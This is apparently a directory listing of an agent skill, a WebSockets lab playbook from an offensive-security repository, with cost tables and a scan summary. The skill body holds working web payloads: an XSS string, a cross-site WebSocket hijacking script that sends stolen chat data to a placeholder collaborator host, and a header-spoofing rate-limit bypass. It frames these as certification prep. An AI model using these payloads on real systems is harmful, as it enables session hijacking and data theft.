Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00025 | $0.00942 |
| Opus 5 | $0.00013 | $0.00471 |
| Sonnet 5 | $0.00005 | $0.00188 |
| Haiku 4.5 | $0.00003 | $0.00094 |
Grade A, and why
WebSockets — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

WebSockets — Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Manipulate messages 🟢 APPRENTICE
{"message":"<img src=1 onerror='alert(1)'>"}
Send XSS payload via WebSocket message.
Lab 2: Cross-site hijacking 🟡 PRACTITIONER
<script>var ws=new WebSocket('wss://TARGET/chat');
ws.onopen=function(){ws.send('READY');};
ws.onmessage=function(e){fetch('https://COLLAB/?'+btoa(e.data));};</script>
No Origin check → steal chat history from victim's session.
Lab 3: Manipulate handshake 🟡 PRACTITIONER
X-Forwarded-For: 1.1.1.1
Bypass IP-based rate limiting on WebSocket handshake, then send XSS payloads.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

WebSockets — Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 25 tokens to every session and 942 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 86% identical to Access Control — Complete Deep Dive, differing in 84 lines, and is treated as a copy.
